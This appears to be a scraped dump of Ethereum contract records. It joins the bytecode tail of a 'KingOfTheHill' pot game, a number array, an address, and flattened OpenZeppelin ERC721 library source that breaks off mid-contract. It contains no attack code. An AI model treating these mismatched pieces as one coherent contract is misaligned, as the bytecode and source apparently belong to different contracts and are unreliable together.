26c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61283d611d18565b341015612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614323602e913960400191505060405180910390fd5b61289d6133e7565b156128ab576128aa613f6e565b5b60006128b9346015546112a1565b905060006128d082346112d190919063ffffffff16565b905060006128e0826005546112a1565b905060006128f782346112d190919063ffffffff16565b905061290e81600e5461131b90919063ffffffff16565b600e8190555061292982600f5461131b90919063ffffffff16565b600f81905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015612997573d6000803e3d6000fd5b5043600d819055506000600660006101000a81548160ff0219169083151502179055506000600660016101000a81548160ff0219169083151502179055506000600660026101000a81548160ff0219169083151502179055506000600b81905550612a00613e74565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612a48613e74565b73ffffffffffffffffffffffffffffffffffffffff167f25a027d4fd2742364c6c140aa4f98ffb075d141de8f24afb5583afb60aaba7dd60405160405180910390a250505050565b6000600f54905090565b612aa2613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612bae613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060128190555050565b612c80613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060098190555050565b600660009054906101000a900460ff1681565b612d65613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612e2d614068565b565b612e37613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ef7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060078190555050565b6000600660029054906101000a900460ff16905090565b600047905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000612f6c600e54612f676001600454613ce490919063ffffffff16565b61184f565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612fb2613e74565b73ffffffffffffffffffffffffffffffffffffffff161461301e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614223602b913960400191505060405180910390fd5b600060149054906101000a900460ff16156130a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60001515600660029054906101000a900460ff1615151461310d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806143726031913960400191505060405180910390fd5b60008111613166576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142d26024913960400191505060405180910390fd5b61318e600361318083600954613ce490919063ffffffff16565b61131b90919063ffffffff16565b613196613464565b116131ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806143d16028913960400191505060405180910390fd5b60006132bf6013546132b1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561325f57600080fd5b505afa158015613273573d6000803e3d6000fd5b505050506040513d602081101561328957600080fd5b810190808051906020019092919050505060ff16600a0a601454613ce490919063ffffffff16565b613d6a90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc673c4f613307613e74565b61332e8461332087600954613ce490919063ffffffff16565b613ce490919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020018060200180602001838103835260008152602001838103825260008152602001945050505050600060405180830381600087803b1580156133a357600080fd5b505af11580156133b7573d6000803e3d6000fd5b5050505081600b819055506001600660026101000a81548160ff0219169083151502179055505050565b600a5481565b60008073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561344e5750600061344c613464565b145b1561345c5760019050613461565b600090505b90565b6000806134a4613481600954600b54613ce490919063ffffffff16565b613496600d54436112d190919063ffffffff16565b61131b90919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561350857600c54915050613535565b600c5481111561351c576000915050613535565b61353181600c546112d190919063ffffffff16565b9150505b90565b60135481565b613546613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060148190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600e5481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b613678613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613738576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600c54905090565b60045481565b6000600a54905090565b60095481565b6000600660009054906101000a900460ff16905090565b6137bb613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461387b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b806000811015801561388e575060648111155b6138e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806142f6602d913960400191505060405180910390fd5b816005819055505050565b600080613913600e5461390e600854600454613ce490919063ffffffff16565b61184f565b90508091505090565b6000600554905090565b60008061395561394d613937612f49565b61393f6138ee565b6112d190919063ffffffff16565b6012546112a1565b905061398b670de0b6b3a764000061397d61396e6122c4565b84613ce490919063ffffffff16565b613d6a90919063ffffffff16565b90508091505090565b60008060009050600660009054906101000a900460ff16156139b65760075490505b6139d66139c5600e54836112a1565b600e5461131b90919063ffffffff16565b91505090565b6000600454905090565b6000600660019054906101000a900460ff16905090565b6000600754905090565b613a0f613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613acf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613b55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806142ac6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b613c1a613e74565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613cda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060088190555050565b600080831415613cf75760009050613d64565b6000828402905082848281613d0857fe5b0414613d5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806143516021913960400191505060405180910390fd5b809150505b92915050565b6000613dac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061415c565b905092915050565b6000838311158290613e61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613e26578082015181840152602081019050613e0b565b50505050905090810190601f168015613e535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600033905090565b600060149054906101000a900460ff16613efe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa613f41613e74565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f9c2270628a9b29d30ae96b6c4c14ed646ee134febdce38a5b77f2bde9cea2e20613fd0613994565b6040518082815260200191505060405180910390a2600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc614029613994565b9081150290604051600060405180830381858888f19350505050158015614054573d6000803e3d6000fd5b50600f54600e819055506000600f81905550565b600060149054906101000a900460ff16156140eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861412f613e74565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008083118290614208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156141cd5780820151818401526020810190506141b2565b50505050905090810190601f1680156141fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161421457fe5b04905080915050939250505056fe4b696e674f6654686548696c6c3a204f6e6c7920706f74206f776e65722063616e2062757920626f6e75734b696e674f6654686548696c6c3a20416c726561647920626f75676874206120646566656e736520706f7765722075704b696e674f6654686548696c6c3a206e62426c6f636b73206d7573742062652067726561746572207468616e20304f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734b696e674f6654686548696c6c3a2063616e206e6f74206275792030206167696c6974794b696e674f6654686548696c6c3a2070657263656e746167652076616c7565206973206972726174696f6e616c4b696e674f6654686548696c6c3a204e6f7420656e6f75676820657468657220666f7220627579696e6720706f74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774b696e674f6654686548696c6c3a20416c726561647920626f7567687420616e206167696c69747920706f7765722075704b696e674f6654686548696c6c3a2073656e646572206d7574206e6f742062652074686520706f74206f776e65724b696e674f6654686548696c6c3a20746f6f206d616e79206167696c69747920706f7765722d75704b696e674f6654686548696c6c3a20416c726561647920626f75676874206120737472656e67746820706f776572207570a2646970667358221220b800caee249cd0589c254f82e9f32ce01009fae3b1ee885097f85f77430530c964736f6c63430007060033
[ 12, 4, 9, 7 ]
0xf2376f6366A95B096747E908c76ffEC308eA9E5c
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. 